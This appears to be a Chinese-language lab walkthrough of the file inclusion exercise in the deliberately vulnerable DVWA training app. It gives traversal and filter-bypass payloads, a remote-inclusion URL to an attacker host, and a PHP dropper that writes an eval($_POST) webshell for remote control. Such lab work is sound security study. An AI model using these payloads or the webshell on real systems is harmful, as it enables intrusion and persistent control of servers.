MEDIUM:
$file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file );
與LOW相比,將四個敏感字符串過濾掉了:"http://", "https://","../", "..\""
本地文件包含:
Payload1(相對路徑包含):
?page=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\phpStudy\PHPTutorial\WWW\dvwa\php.ini
原理:仔細看看可以發現,"..\"並沒有被過濾掉(過濾掉的多了一個雙引號)
Payload2(相對路徑包含):
?page=..././..././..././..././..././..././..././..././..././phpStudy\PHPTutorial\WWW\dvwa\php.ini
原理:str_replace()是非常不安全的,可是雙寫繞過,比如這個payload,經過str_replace()之后變成了:
?page=../../../../../../../../../phpStudy\PHPTutorial\WWW\dvwa\php.ini ("../"都被替換成了空字符)
Payload3(絕對路徑包含):
?page=C:\phpStudy\PHPTutorial\WWW\dvwa\php.ini
原理:並沒有過濾絕對路徑啊
遠程文件包含:
Payload:?page=htthttp://p://192.168.141.1/hack.php
原理:str_replace()可以雙寫繞過
此外,在這種情況可以通過遠程文件包含拿webshell,比如hack.php中可以這么寫:
<?php $f = fopen('shell.php','w'); $txt = '<?php eval($_POST[zzz])?>'; fwrite($f,$txt); fclose($f); ?>
然后菜刀一連就可以,嘿嘿嘿嘿~~~
(可惜筆者無論如何調整設置,allow_url_fopen就是打不開,我怎么辦,我也很絕望啊)
HIGH:
核心代碼:
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; }
代碼解讀:fnmatch(pattern,string)類似於ereg()或preg_match(),用pattern指定的模式去匹配string。
這里*是通配符,所以"file*"的意思就是必須以file開頭。
這里看似安全,其實我們可以使用php://file協議繞過
Payload:?page=file://C:\phpStudy\PHPTutorial\WWW\dvwa
php://file用以讀取服務器本地文件,而且在allow_url_fopen和allow_url_include雙off的情況下依然可以使用!
由於php://file只能讀取服務器本地文件,所以想要實現任意命令執行,需要文件上傳的配合,
將惡意文件上傳到服務器之后,使用文件包含進行包含以執行之。
IMPOSSBILE:
核心代碼:
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; }
可以看到,進行了白名單限制,無法攻破
鳴謝:
http://www.storysec.com/dvwa-file-inclusion.html
https://www.freebuf.com/articles/web/119150.html